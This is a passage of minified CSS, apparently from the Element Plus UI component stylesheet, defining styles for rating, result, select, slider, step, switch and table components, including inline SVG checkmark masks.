.el-rate__icon.hover{transform:scale(1.15)}.el-rate .el-rate__icon .path2{left:0;position:absolute;top:0}.el-rate .el-rate__icon.is-active{color:var(--el-rate-fill-color)}.el-rate__decimal{color:var(--el-rate-fill-color);display:inline-block;overflow:hidden}.el-rate__decimal,.el-rate__decimal--box{left:0;position:absolute;top:0}.el-rate__text{color:var(--el-rate-text-color);font-size:var(--el-rate-font-size);vertical-align:middle}.el-rate--large{height:40px}.el-rate--small{height:24px}.el-rate--small .el-rate__icon{font-size:14px}.el-rate.is-disabled .el-rate__item{color:var(--el-rate-disabled-void-color);cursor:auto}.el-result{--el-result-padding:40px 30px;--el-result-icon-font-size:64px;--el-result-title-font-size:20px;--el-result-title-margin-top:20px;--el-result-subtitle-margin-top:10px;--el-result-extra-margin-top:30px;align-items:center;box-sizing:border-box;display:flex;flex-direction:column;justify-content:center;padding:var(--el-result-padding);text-align:center}.el-result__icon svg{height:var(--el-result-icon-font-size);width:var(--el-result-icon-font-size)}.el-result__title{margin-top:var(--el-result-title-margin-top)}.el-result__title p{color:var(--el-text-color-primary);font-size:var(--el-result-title-font-size);line-height:1.3;margin:0}.el-result__subtitle{margin-top:var(--el-result-subtitle-margin-top)}.el-result__subtitle p{color:var(--el-text-color-regular);font-size:var(--el-font-size-base);line-height:1.3;margin:0}.el-result__extra{margin-top:var(--el-result-extra-margin-top)}.el-result .icon-primary{--el-result-color:var(--el-color-primary);color:var(--el-result-color)}.el-result .icon-success{--el-result-color:var(--el-color-success);color:var(--el-result-color)}.el-result .icon-warning{--el-result-color:var(--el-color-warning);color:var(--el-result-color)}.el-result .icon-danger{--el-result-color:var(--el-color-danger);color:var(--el-result-color)}.el-result .icon-error{--el-result-color:var(--el-color-error);color:var(--el-result-color)}.el-result .icon-info{--el-result-color:var(--el-color-info);color:var(--el-result-color)}.el-row{box-sizing:border-box;display:flex;flex-wrap:wrap;position:relative}.el-row.is-justify-center{justify-content:center}.el-row.is-justify-end{justify-content:flex-end}.el-row.is-justify-space-between{justify-content:space-between}.el-row.is-justify-space-around{justify-content:space-around}.el-row.is-justify-space-evenly{justify-content:space-evenly}.el-row.is-align-top{align-items:flex-start}.el-row.is-align-middle{align-items:center}.el-row.is-align-bottom{align-items:flex-end}.el-scrollbar{--el-scrollbar-opacity:.3;--el-scrollbar-bg-color:var(--el-text-color-secondary);--el-scrollbar-hover-opacity:.5;--el-scrollbar-hover-bg-color:var(--el-text-color-secondary);height:100%;overflow:hidden;position:relative}.el-scrollbar__wrap{height:100%;overflow:auto}.el-scrollbar__wrap--hidden-default{scrollbar-width:none}.el-scrollbar__wrap--hidden-default::-webkit-scrollbar{display:none}.el-scrollbar__thumb{background-color:var(--el-scrollbar-bg-color,var(--el-text-color-secondary));border-radius:inherit;cursor:pointer;display:block;height:0;opacity:var(--el-scrollbar-opacity,.3);position:relative;transition:var(--el-transition-duration) background-color;width:0}.el-scrollbar__thumb:hover{background-color:var(--el-scrollbar-hover-bg-color,var(--el-text-color-secondary));opacity:var(--el-scrollbar-hover-opacity,.5)}.el-scrollbar__bar{border-radius:4px;bottom:2px;position:absolute;right:2px;z-index:1}.el-scrollbar__bar.is-vertical{top:2px;width:6px}.el-scrollbar__bar.is-vertical>div{width:100%}.el-scrollbar__bar.is-horizontal{height:6px;left:2px}.el-scrollbar__bar.is-horizontal>div{height:100%}.el-scrollbar-fade-enter-active{transition:opacity .34s ease-out}.el-scrollbar-fade-leave-active{transition:opacity .12s ease-out}.el-scrollbar-fade-enter-from,.el-scrollbar-fade-leave-active{opacity:0}.el-select-dropdown{border-radius:var(--el-border-radius-base);box-sizing:border-box;z-index:calc(var(--el-index-top) + 1)}.el-select-dropdown .el-scrollbar.is-empty .el-select-dropdown__list{padding:0}.el-select-dropdown__empty,.el-select-dropdown__loading{color:var(--el-text-color-secondary);font-size:var(--el-select-font-size);margin:0;padding:10px 0;text-align:center}.el-select-dropdown__wrap{max-height:274px}.el-select-dropdown__list{box-sizing:border-box;list-style:none;margin:0;padding:6px 0}.el-select-dropdown__list.el-vl__window{margin:6px 0;padding:0}.el-select-dropdown__header{border-bottom:1px solid var(--el-border-color-light);padding:10px}.el-select-dropdown__footer{border-top:1px solid var(--el-border-color-light);padding:10px}.el-select-dropdown__item{box-sizing:border-box;color:var(--el-text-color-regular);cursor:pointer;font-size:var(--el-font-size-base);height:34px;line-height:34px;overflow:hidden;padding:0 32px 0 20px;position:relative;text-overflow:ellipsis;white-space:nowrap}.el-select-dropdown__item.is-hovering{background-color:var(--el-fill-color-light)}.el-select-dropdown__item.is-selected{color:var(--el-color-primary);font-weight:700}.el-select-dropdown__item.is-disabled{background-color:unset;color:var(--el-text-color-placeholder);cursor:not-allowed}.el-select-dropdown.is-multiple .el-select-dropdown__item.is-selected:after{background-color:var(--el-color-primary);background-position:50%;background-repeat:no-repeat;border-right:none;border-top:none;content:"";height:12px;mask:url("data:image/svg+xml;utf8,%3Csvg class='icon' width='200' height='200' viewBox='0 0 1024 1024' xmlns='http://www.w3.org/2000/svg'%3E%3Cpath fill='currentColor' d='M406.656 706.944L195.84 496.256a32 32 0 10-45.248 45.248l256 256 512-512a32 32 0 00-45.248-45.248L406.592 706.944z'%3E%3C/path%3E%3C/svg%3E") no-repeat;mask-size:100% 100%;-webkit-mask:url("data:image/svg+xml;utf8,%3Csvg class='icon' width='200' height='200' viewBox='0 0 1024 1024' xmlns='http://www.w3.org/2000/svg'%3E%3Cpath fill='currentColor' d='M406.656 706.944L195.84 496.256a32 32 0 10-45.248 45.248l256 256 512-512a32 32 0 00-45.248-45.248L406.592 706.944z'%3E%3C/path%3E%3C/svg%3E") no-repeat;-webkit-mask-size:100% 100%;position:absolute;right:20px;top:50%;transform:translateY(-50%);width:12px}.el-select-dropdown.is-multiple .el-select-dropdown__item.is-disabled:after{background-color:var(--el-text-color-placeholder)}.el-select-group{margin:0;padding:0}.el-select-group__wrap{list-style:none;margin:0;padding:0;position:relative}.el-select-group__wrap:not(:last-of-type){padding-bottom:24px}.el-select-group__wrap:not(:last-of-type):after{background:var(--el-border-color-light);bottom:12px;content:"";display:block;height:1px;left:20px;position:absolute;right:20px}.el-select-group__split-dash{background:var(--el-border-color-light);height:1px;left:20px;position:absolute;right:20px}.el-select-group__title{color:var(--el-color-info);font-size:12px;line-height:30px;padding-left:20px}.el-select-group .el-select-dropdown__item{padding-left:20px}.el-select{--el-select-border-color-hover:var(--el-border-color-hover);--el-select-disabled-color:var(--el-disabled-text-color);--el-select-disabled-border:var(--el-disabled-border-color);--el-select-font-size:var(--el-font-size-base);--el-select-close-hover-color:var(--el-text-color-secondary);--el-select-input-color:var(--el-text-color-placeholder);--el-select-multiple-input-color:var(--el-text-color-regular);--el-select-input-focus-border-color:var(--el-color-primary);--el-select-input-font-size:14px;--el-select-width:100%;display:inline-block;position:relative;vertical-align:middle;width:var(--el-select-width)}.el-select__wrapper{align-items:center;background-color:var(--el-fill-color-blank);border-radius:var(--el-border-radius-base);box-shadow:0 0 0 1px var(--el-border-color) inset;box-sizing:border-box;cursor:pointer;display:flex;font-size:14px;gap:6px;line-height:24px;min-height:32px;padding:4px 12px;position:relative;text-align:left;transition:var(--el-transition-duration)}.el-select__wrapper:hover{box-shadow:0 0 0 1px var(--el-text-color) inset}.el-select__wrapper.is-filterable{cursor:text}.el-select__wrapper.is-focused{box-shadow:0 0 0 1px var(--el-color-primary) inset}.el-select__wrapper.is-hovering:not(.is-focused){box-shadow:0 0 0 1px var(--el-border-color-hover) inset}.el-select__wrapper.is-disabled{background-color:var(--el-fill-color-light);box-shadow:0 0 0 1px var(--el-select-disabled-border) inset;color:var(--el-text-color-placeholder);cursor:not-allowed}.el-select__wrapper.is-disabled:hover{box-shadow:0 0 0 1px var(--el-select-disabled-border) inset}.el-select__wrapper.is-disabled.is-focus{box-shadow:0 0 0 1px var(--el-input-focus-border-color) inset}.el-select__wrapper.is-disabled .el-select__selected-item{color:var(--el-select-disabled-color)}.el-select__wrapper.is-disabled .el-select__caret,.el-select__wrapper.is-disabled .el-tag{cursor:not-allowed}.el-select__prefix,.el-select__suffix{align-items:center;color:var(--el-input-icon-color,var(--el-text-color-placeholder));display:flex;flex-shrink:0;gap:6px}.el-select__caret{color:var(--el-select-input-color);cursor:pointer;font-size:var(--el-select-input-font-size);transform:rotate(0);transition:var(--el-transition-duration)}.el-select__caret.is-reverse{transform:rotate(180deg)}.el-select__selection{align-items:center;display:flex;flex:1;flex-wrap:wrap;gap:6px;min-width:0;position:relative}.el-select__selection.is-near{margin-left:-8px}.el-select__selection .el-tag{border-color:transparent;cursor:pointer}.el-select__selection .el-tag .el-tag__content{min-width:0}.el-select__selected-item{display:flex;flex-wrap:wrap;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.el-select__tags-text{line-height:normal}.el-select__placeholder,.el-select__tags-text{display:block;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.el-select__placeholder{color:var(--el-input-text-color,var(--el-text-color-regular));position:absolute;top:50%;transform:translateY(-50%);width:100%}.el-select__placeholder.is-transparent{color:var(--el-text-color-placeholder);-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.el-select__popper.el-popper{background:var(--el-bg-color-overlay);border:1px solid var(--el-border-color-light);box-shadow:var(--el-box-shadow-light)}.el-select__popper.el-popper .el-popper__arrow:before{border:1px solid var(--el-border-color-light)}.el-select__popper.el-popper[data-popper-placement^=top] .el-popper__arrow:before{border-left-color:transparent;border-top-color:transparent}.el-select__popper.el-popper[data-popper-placement^=bottom] .el-popper__arrow:before{border-bottom-color:transparent;border-right-color:transparent}.el-select__popper.el-popper[data-popper-placement^=left] .el-popper__arrow:before{border-bottom-color:transparent;border-left-color:transparent}.el-select__popper.el-popper[data-popper-placement^=right] .el-popper__arrow:before{border-right-color:transparent;border-top-color:transparent}.el-select__input-wrapper{max-width:100%}.el-select__input-wrapper.is-hidden{opacity:0;position:absolute}.el-select__input{-webkit-appearance:none;-moz-appearance:none;appearance:none;background-color:transparent;border:none;color:var(--el-select-multiple-input-color);font-family:inherit;font-size:inherit;height:24px;max-width:100%;outline:none;padding:0}.el-select__input.is-disabled{cursor:not-allowed}.el-select__input-calculator{left:0;max-width:100%;overflow:hidden;position:absolute;top:0;visibility:hidden;white-space:pre}.el-select--large .el-select__wrapper{font-size:14px;gap:6px;line-height:24px;min-height:40px;padding:8px 16px}.el-select--large .el-select__selection{gap:6px}.el-select--large .el-select__selection.is-near{margin-left:-8px}.el-select--large .el-select__prefix,.el-select--large .el-select__suffix{gap:6px}.el-select--large .el-select__input{height:24px}.el-select--small .el-select__wrapper{font-size:12px;gap:4px;line-height:20px;min-height:24px;padding:2px 8px}.el-select--small .el-select__selection{gap:4px}.el-select--small .el-select__selection.is-near{margin-left:-6px}.el-select--small .el-select__prefix,.el-select--small .el-select__suffix{gap:4px}.el-select--small .el-select__input{height:20px}.el-skeleton{--el-skeleton-circle-size:var(--el-avatar-size)}.el-skeleton__item{background:var(--el-skeleton-color);border-radius:var(--el-border-radius-base);display:inline-block;height:16px;width:100%}.el-skeleton__circle{border-radius:50%;height:var(--el-skeleton-circle-size);line-height:var(--el-skeleton-circle-size);width:var(--el-skeleton-circle-size)}.el-skeleton__button{border-radius:4px;height:40px;width:64px}.el-skeleton__p{width:100%}.el-skeleton__p.is-last{width:61%}.el-skeleton__p.is-first{width:33%}.el-skeleton__text{height:var(--el-font-size-small);width:100%}.el-skeleton__caption{height:var(--el-font-size-extra-small)}.el-skeleton__h1{height:var(--el-font-size-extra-large)}.el-skeleton__h3{height:var(--el-font-size-large)}.el-skeleton__h5{height:var(--el-font-size-medium)}.el-skeleton__image{align-items:center;border-radius:0;display:flex;justify-content:center;width:unset}.el-skeleton__image svg{color:var(--el-svg-monochrome-grey);fill:currentColor;height:22%;width:22%}.el-skeleton{--el-skeleton-color:var(--el-fill-color);--el-skeleton-to-color:var(--el-fill-color-darker)}@-webkit-keyframes el-skeleton-loading{0%{background-position:100% 50%}to{background-position:0 50%}}@keyframes el-skeleton-loading{0%{background-position:100% 50%}to{background-position:0 50%}}.el-skeleton{width:100%}.el-skeleton__first-line,.el-skeleton__paragraph{background:var(--el-skeleton-color);height:16px;margin-top:16px}.el-skeleton.is-animated .el-skeleton__item{-webkit-animation:el-skeleton-loading 1.4s ease infinite;animation:el-skeleton-loading 1.4s ease infinite;background:linear-gradient(90deg,var(--el-skeleton-color) 25%,var(--el-skeleton-to-color) 37%,var(--el-skeleton-color) 63%);background-size:400% 100%}.el-slider{--el-slider-main-bg-color:var(--el-color-primary);--el-slider-runway-bg-color:var(--el-border-color-light);--el-slider-stop-bg-color:var(--el-color-white);--el-slider-disabled-color:var(--el-text-color-placeholder);--el-slider-border-radius:3px;--el-slider-height:6px;--el-slider-button-size:20px;--el-slider-button-wrapper-size:36px;--el-slider-button-wrapper-offset:-15px;align-items:center;display:flex;height:32px;width:100%}.el-slider__runway{background-color:var(--el-slider-runway-bg-color);border-radius:var(--el-slider-border-radius);cursor:pointer;flex:1;height:var(--el-slider-height);position:relative}.el-slider__runway.show-input{margin-right:30px;width:auto}.el-slider__runway.is-disabled{cursor:default}.el-slider__runway.is-disabled .el-slider__bar{background-color:var(--el-slider-disabled-color)}.el-slider__runway.is-disabled .el-slider__button{border-color:var(--el-slider-disabled-color)}.el-slider__runway.is-disabled .el-slider__button-wrapper.hover,.el-slider__runway.is-disabled .el-slider__button-wrapper:hover,.el-slider__runway.is-disabled .el-slider__button-wrapper.dragging{cursor:not-allowed}.el-slider__runway.is-disabled .el-slider__button.dragging,.el-slider__runway.is-disabled .el-slider__button.hover,.el-slider__runway.is-disabled .el-slider__button:hover{transform:scale(1)}.el-slider__runway.is-disabled .el-slider__button.hover,.el-slider__runway.is-disabled .el-slider__button:hover,.el-slider__runway.is-disabled .el-slider__button.dragging{cursor:not-allowed}.el-slider__input{flex-shrink:0;width:130px}.el-slider__bar{background-color:var(--el-slider-main-bg-color);border-bottom-left-radius:var(--el-slider-border-radius);border-top-left-radius:var(--el-slider-border-radius);height:var(--el-slider-height);position:absolute}.el-slider__button-wrapper{background-color:transparent;height:var(--el-slider-button-wrapper-size);line-height:normal;outline:none;position:absolute;text-align:center;top:var(--el-slider-button-wrapper-offset);transform:translate(-50%);-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;width:var(--el-slider-button-wrapper-size);z-index:1}.el-slider__button-wrapper:after{content:"";display:inline-block;height:100%;vertical-align:middle}.el-slider__button-wrapper.hover,.el-slider__button-wrapper:hover{cursor:-webkit-grab;cursor:grab}.el-slider__button-wrapper.dragging{cursor:-webkit-grabbing;cursor:grabbing}.el-slider__button{background-color:var(--el-color-white);border:2px solid var(--el-slider-main-bg-color);border-radius:50%;box-sizing:border-box;display:inline-block;height:var(--el-slider-button-size);transition:var(--el-transition-duration-fast);-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;vertical-align:middle;width:var(--el-slider-button-size)}.el-slider__button.dragging,.el-slider__button.hover,.el-slider__button:hover{transform:scale(1.2)}.el-slider__button.hover,.el-slider__button:hover{cursor:-webkit-grab;cursor:grab}.el-slider__button.dragging{cursor:-webkit-grabbing;cursor:grabbing}.el-slider__stop{background-color:var(--el-slider-stop-bg-color);border-radius:var(--el-border-radius-circle);height:var(--el-slider-height);position:absolute;transform:translate(-50%);width:var(--el-slider-height)}.el-slider__marks{height:100%;left:12px;top:0;width:18px}.el-slider__marks-text{color:var(--el-color-info);font-size:14px;margin-top:15px;position:absolute;transform:translate(-50%);white-space:pre}.el-slider.is-vertical{display:inline-flex;flex:0;height:100%;position:relative;width:auto}.el-slider.is-vertical .el-slider__runway{height:100%;margin:0 16px;width:var(--el-slider-height)}.el-slider.is-vertical .el-slider__bar{border-radius:0 0 3px 3px;height:auto;width:var(--el-slider-height)}.el-slider.is-vertical .el-slider__button-wrapper{left:var(--el-slider-button-wrapper-offset);top:auto;transform:translateY(50%)}.el-slider.is-vertical .el-slider__stop{transform:translateY(50%)}.el-slider.is-vertical .el-slider__marks-text{left:15px;margin-top:0;transform:translateY(50%)}.el-slider--large{height:40px}.el-slider--small{height:24px}.el-space{display:inline-flex;vertical-align:top}.el-space__item{display:flex;flex-wrap:wrap}.el-space__item>*{flex:1}.el-space--vertical{flex-direction:column}.el-time-spinner{white-space:nowrap;width:100%}.el-spinner{display:inline-block;vertical-align:middle}.el-spinner-inner{-webkit-animation:rotate 2s linear infinite;animation:rotate 2s linear infinite;height:50px;width:50px}.el-spinner-inner .path{stroke:var(--el-border-color-lighter);stroke-linecap:round;-webkit-animation:dash 1.5s ease-in-out infinite;animation:dash 1.5s ease-in-out infinite}@-webkit-keyframes rotate{to{transform:rotate(1turn)}}@keyframes rotate{to{transform:rotate(1turn)}}@-webkit-keyframes dash{0%{stroke-dasharray:1,150;stroke-dashoffset:0}50%{stroke-dasharray:90,150;stroke-dashoffset:-35}to{stroke-dasharray:90,150;stroke-dashoffset:-124}}@keyframes dash{0%{stroke-dasharray:1,150;stroke-dashoffset:0}50%{stroke-dasharray:90,150;stroke-dashoffset:-35}to{stroke-dasharray:90,150;stroke-dashoffset:-124}}.el-step{flex-shrink:1;position:relative}.el-step:last-of-type .el-step__line{display:none}.el-step:last-of-type.is-flex{flex-basis:auto!important;flex-grow:0;flex-shrink:0}.el-step:last-of-type .el-step__description,.el-step:last-of-type .el-step__main{padding-right:0}.el-step__head{position:relative;width:100%}.el-step__head.is-process{border-color:var(--el-text-color-primary);color:var(--el-text-color-primary)}.el-step__head.is-wait{border-color:var(--el-text-color-placeholder);color:var(--el-text-color-placeholder)}.el-step__head.is-success{border-color:var(--el-color-success);color:var(--el-color-success)}.el-step__head.is-error{border-color:var(--el-color-danger);color:var(--el-color-danger)}.el-step__head.is-finish{border-color:var(--el-color-primary);color:var(--el-color-primary)}.el-step__icon{align-items:center;background:var(--el-bg-color);box-sizing:border-box;display:inline-flex;font-size:14px;height:24px;justify-content:center;position:relative;transition:.15s ease-out;width:24px;z-index:1}.el-step__icon.is-text{border:2px solid;border-color:inherit;border-radius:50%}.el-step__icon.is-icon{width:40px}.el-step__icon-inner{color:inherit;display:inline-block;font-weight:700;line-height:1;text-align:center;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.el-step__icon-inner[class*=el-icon]:not(.is-status){font-size:25px;font-weight:400}.el-step__icon-inner.is-status{transform:translateY(1px)}.el-step__line{background-color:var(--el-text-color-placeholder);border-color:inherit;position:absolute}.el-step__line-inner{border:1px solid;border-color:inherit;box-sizing:border-box;display:block;height:0;transition:.15s ease-out;width:0}.el-step__main{text-align:left;white-space:normal}.el-step__title{font-size:16px;line-height:38px}.el-step__title.is-process{color:var(--el-text-color-primary);font-weight:700}.el-step__title.is-wait{color:var(--el-text-color-placeholder)}.el-step__title.is-success{color:var(--el-color-success)}.el-step__title.is-error{color:var(--el-color-danger)}.el-step__title.is-finish{color:var(--el-color-primary)}.el-step__description{font-size:12px;font-weight:400;line-height:20px;margin-top:-5px;padding-right:10%}.el-step__description.is-process{color:var(--el-text-color-primary)}.el-step__description.is-wait{color:var(--el-text-color-placeholder)}.el-step__description.is-success{color:var(--el-color-success)}.el-step__description.is-error{color:var(--el-color-danger)}.el-step__description.is-finish{color:var(--el-color-primary)}.el-step.is-horizontal{display:inline-block}.el-step.is-horizontal .el-step__line{height:2px;left:0;right:0;top:11px}.el-step.is-vertical{display:flex}.el-step.is-vertical .el-step__head{flex-grow:0;width:24px}.el-step.is-vertical .el-step__main{flex-grow:1;padding-left:10px}.el-step.is-vertical .el-step__title{line-height:24px;padding-bottom:8px}.el-step.is-vertical .el-step__line{bottom:0;left:11px;top:0;width:2px}.el-step.is-vertical .el-step__icon.is-icon{width:24px}.el-step.is-center .el-step__head,.el-step.is-center .el-step__main{text-align:center}.el-step.is-center .el-step__description{padding-left:20%;padding-right:20%}.el-step.is-center .el-step__line{left:50%;right:-50%}.el-step.is-simple{align-items:center;display:flex}.el-step.is-simple .el-step__head{font-size:0;padding-right:10px;width:auto}.el-step.is-simple .el-step__icon{background:transparent;font-size:12px;height:16px;width:16px}.el-step.is-simple .el-step__icon-inner[class*=el-icon]:not(.is-status){font-size:18px}.el-step.is-simple .el-step__icon-inner.is-status{transform:scale(.8) translateY(1px)}.el-step.is-simple .el-step__main{align-items:stretch;display:flex;flex-grow:1;position:relative}.el-step.is-simple .el-step__title{font-size:16px;line-height:20px}.el-step.is-simple:not(:last-of-type) .el-step__title{max-width:50%;overflow-wrap:break-word}.el-step.is-simple .el-step__arrow{align-items:center;display:flex;flex-grow:1;justify-content:center}.el-step.is-simple .el-step__arrow:after,.el-step.is-simple .el-step__arrow:before{background:var(--el-text-color-placeholder);content:"";display:inline-block;height:15px;position:absolute;width:1px}.el-step.is-simple .el-step__arrow:before{transform:rotate(-45deg) translateY(-4px);transform-origin:0 0}.el-step.is-simple .el-step__arrow:after{transform:rotate(45deg) translateY(4px);transform-origin:100% 100%}.el-step.is-simple:last-of-type .el-step__arrow{display:none}.el-steps{display:flex}.el-steps--simple{background:var(--el-fill-color-light);border-radius:4px;padding:13px 8%}.el-steps--horizontal{white-space:nowrap}.el-steps--vertical{flex-flow:column;height:100%}.el-switch{--el-switch-on-color:var(--el-color-primary);--el-switch-off-color:var(--el-border-color);align-items:center;display:inline-flex;font-size:14px;height:32px;line-height:20px;position:relative;vertical-align:middle}.el-switch.is-disabled .el-switch__core,.el-switch.is-disabled .el-switch__label{cursor:not-allowed}.el-switch__label{color:var(--el-text-color-primary);cursor:pointer;display:inline-block;font-size:14px;font-weight:500;height:20px;transition:var(--el-transition-duration-fast);vertical-align:middle}.el-switch__label.is-active{color:var(--el-color-primary)}.el-switch__label--left{margin-right:10px}.el-switch__label--right{margin-left:10px}.el-switch__label *{display:inline-block;font-size:14px;line-height:1}.el-switch__label .el-icon{height:inherit}.el-switch__label .el-icon svg{vertical-align:middle}.el-switch__input{height:0;margin:0;opacity:0;position:absolute;width:0}.el-switch__input:focus-visible~.el-switch__core{outline:2px solid var(--el-switch-on-color);outline-offset:1px}.el-switch__core{align-items:center;background:var(--el-switch-off-color);border:1px solid var(--el-switch-border-color,var(--el-switch-off-color));border-radius:10px;box-sizing:border-box;cursor:pointer;display:inline-flex;height:20px;min-width:40px;outline:none;position:relative;transition:border-color var(--el-transition-duration),background-color var(--el-transition-duration)}.el-switch__core .el-switch__inner{align-items:center;display:flex;height:16px;justify-content:center;overflow:hidden;padding:0 4px 0 18px;transition:all var(--el-transition-duration);width:100%}.el-switch__core .el-switch__inner .is-icon,.el-switch__core .el-switch__inner .is-text{color:var(--el-color-white);font-size:12px;overflow:hidden;text-overflow:ellipsis;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;white-space:nowrap}.el-switch__core .el-switch__action{align-items:center;background-color:var(--el-color-white);border-radius:var(--el-border-radius-circle);color:var(--el-switch-off-color);display:flex;height:16px;justify-content:center;left:1px;position:absolute;transition:all var(--el-transition-duration);width:16px}.el-switch.is-checked .el-switch__core{background-color:var(--el-switch-on-color);border-color:var(--el-switch-border-color,var(--el-switch-on-color))}.el-switch.is-checked .el-switch__core .el-switch__action{color:var(--el-switch-on-color);left:calc(100% - 17px)}.el-switch.is-checked .el-switch__core .el-switch__inner{padding:0 18px 0 4px}.el-switch.is-disabled{opacity:.6}.el-switch--wide .el-switch__label.el-switch__label--left span{left:10px}.el-switch--wide .el-switch__label.el-switch__label--right span{right:10px}.el-switch .label-fade-enter-from,.el-switch .label-fade-leave-active{opacity:0}.el-switch--large{font-size:14px;height:40px;line-height:24px}.el-switch--large .el-switch__label{font-size:14px;height:24px}.el-switch--large .el-switch__label *{font-size:14px}.el-switch--large .el-switch__core{border-radius:12px;height:24px;min-width:50px}.el-switch--large .el-switch__core .el-switch__inner{height:20px;padding:0 6px 0 22px}.el-switch--large .el-switch__core .el-switch__action{height:20px;width:20px}.el-switch--large.is-checked .el-switch__core .el-switch__action{left:calc(100% - 21px)}.el-switch--large.is-checked .el-switch__core .el-switch__inner{padding:0 22px 0 6px}.el-switch--small{font-size:12px;height:24px;line-height:16px}.el-switch--small .el-switch__label{font-size:12px;height:16px}.el-switch--small .el-switch__label *{font-size:12px}.el-switch--small .el-switch__core{border-radius:8px;height:16px;min-width:30px}.el-switch--small .el-switch__core .el-switch__inner{height:12px;padding:0 2px 0 14px}.el-switch--small .el-switch__core .el-switch__action{height:12px;width:12px}.el-switch--small.is-checked .el-switch__core .el-switch__action{left:calc(100% - 13px)}.el-switch--small.is-checked .el-switch__core .el-switch__inner{padding:0 14px 0 2px}.el-table-column--selection .cell{padding-left:14px;padding-right:14px}.el-table-filter{background-color:#fff;border:1px solid var(--el-border-color-lighter);border-radius:2px;box-shadow:var(--el-box-shadow-light);box-sizing:border-box}.el-table-filter__list{list-style:none;margin:0;min-width:100px;padding:5px 0}.el-table-filter__list-item{cursor:pointer;font-size:var(--el-font-size-base);line-height:36px;padding:0 10px}.el-table-filter__list-item:hover{background-color:var(--el-color-primary-light-9);color:var(--el-color-primary)}.el-table-filter__list-item.is-active{background-color:var(--el-color-primary);color:#fff}.el-table-filter__content{min-width:100px}.el-table-filter__bottom{border-top:1px solid var(--el-border-color-lighter);padding:8px}.el-table-filter__bottom button{background:transparent;border:none;color:var(--el-text-color-regular);cursor:pointer;font-size:var(--el-font-size-small);padding:0 3px}.el-table-filter__bottom button:hover{color:var(--el-color-primary)}.el-table-filter__bottom button:focus{outline:none}.el-table-filter__bottom button.is-disabled{color:var(--el-disabled-text-color);cursor:not-allowed}.el-table-filter__wrap{max-height:280px}.el-table-filter__checkbox-group{padding:10px}.el-table-filter__checkbox-group label.el-checkbox{align-items:center;display:flex;height:unset;margin-bottom:12px;margin-left:5px;margin-right:5px}.el-table-filter__checkbox-group .el-checkbox:last-child{margin-bottom:0}.el-table{--el-table-border-color:var(--el-border-color-lighter);--el-table-border:1px solid var(--el-table-border-color);--el-table-text-color:var(--el-text-color-regular);--el-table-header-text-color:var(--el-text-color-secondary);--el-table-row-hover-bg-color:var(--el-fill-color-light);--el-table-current-row-bg-color:var(--el-color-primary-light-9);--el-table-header-bg-color:var(--el-bg-color);--el-table-fixed-box-shadow:var(--el-box-shadow-light);--el-table-bg-color:var(--el-fill-color-blank);--el-table-tr-bg-color:var(--el-bg-color);--el-table-expanded-cell-bg-color:var(--el-fill-color-blank);--el-table-fixed-left-column:inset 10px 0 10px -10px rgba(0,0,0,.15);--el-table-fixed-right-column:inset -10px 0 10px -10px rgba(0,0,0,.15);--el-table-index:var(--el-index-normal);background-color:var(--el-table-bg-color);box-sizing:border-box;color:var(--el-table-text-color);font-size:14px;height:-webkit-fit-content;height:-moz-fit-content;height:fit-content;max-width:100%;overflow:hidden;position:relative;width:100%}.el-table__inner-wrapper{display:flex;flex-direction:column;height:100%;position:relative}.el-table__inner-wrapper:before{bottom:0;height:1px;left:0;width:100%}.el-table tbody:focus-visible{outline:none}.el-table.has-footer.el-table--fluid-height tr:last-child td.el-table__cell,.el-table.has-footer.el-table--scrollable-y tr:last-child td.el-table__cell{border-bottom-color:transparent}.el-table__empty-block{align-items:center;display:flex;justify-content:center;left:0;min-height:60px;position:-webkit-sticky;position:sticky;text-align:center;width:100%}.el-table__empty-text{color:var(--el-text-color-secondary);line-height:60px;width:50%}.el-table__expand-column .cell{padding:0;text-align:center;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.el-table__expand-icon{color:var(--el-text-color-regular);cursor:pointer;font-size:12px;height:20px;position:relative;transition:transform var(--el-transition-duration-fast) ease-in-out}.el-table__expand-icon--expanded{transform:rotate(90deg)}.el-table__expand-icon>.el-icon{font-size:12px}.el-table__expanded-cell{background-color:var(--el-table-expanded-cell-bg-color)}.el-table__expanded-cell[class*=cell]{padding:20px 50px}.el-table__expanded-cell:hover{background-color:transparent!important}.el-table__placeholder{display:inline-block;width:20px}.el-table__append-wrapper{overflow:hidden}.el-table--fit{border-bottom:0;border-right:0}.el-table--fit .el-table__cell.gutter{border-right-width:1px}.el-table thead{color:var(--el-table-header-text-color)}.el-table thead th{font-weight:600}.el-table thead.is-group th.el-table__cell{background:var(--el-fill-color-light)}.el-table .el-table__cell{box-sizing:border-box;min-width:0;padding:8px 0;position:relative;text-align:left;text-overflow:ellipsis;vertical-align:middle;z-index:var(--el-table-index)}.el-table .el-table__cell.is-center{text-align:center}.el-table .el-table__cell.is-right{text-align:right}.el-table .el-table__cell.gutter{border-bottom-width:0;border-right-width:0;padding:0;width:15px}.el-table .el-table__cell.is-hidden>*{visibility:hidden}.el-table .cell{box-sizing:border-box;line-height:23px;overflow:hidden;overflow-wrap:break-word;padding:0 12px;text-overflow:ellipsis;white-space:normal}.el-table .cell.el-tooltip{min-width:50px;white-space:nowrap}.el-table--large{font-size:var(--el-font-size-base)}.el-table--large .el-table__cell{padding:12px 0}.el-table--large .cell{padding:0 16px}.el-table--default{font-size:14px}.el-table--default .el-table__cell{padding:8px 0}.el-table--default .cell{padding:0 12px}.el-table--small{font-size:12px}.el-table--small .el-table__cell{padding:4px 0}.el-table--small .cell{padding:0 8px}.el-table tr{background-color:var(--el-table-tr-bg-color)}.el-table tr input[type=checkbox]{margin:0}.el-table td.el-table__cell,.el-table th.el-table__cell.is-leaf{border-bottom:var(--el-table-border)}.el-table th.el-table__cell.is-sortable{cursor:pointer}.el-table th.el-table__cell{background-color:var(--el-table-header-bg-color);-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.el-table th.el-table__cell>.cell.highlight{color:var(--el-color-primary)}.el-table 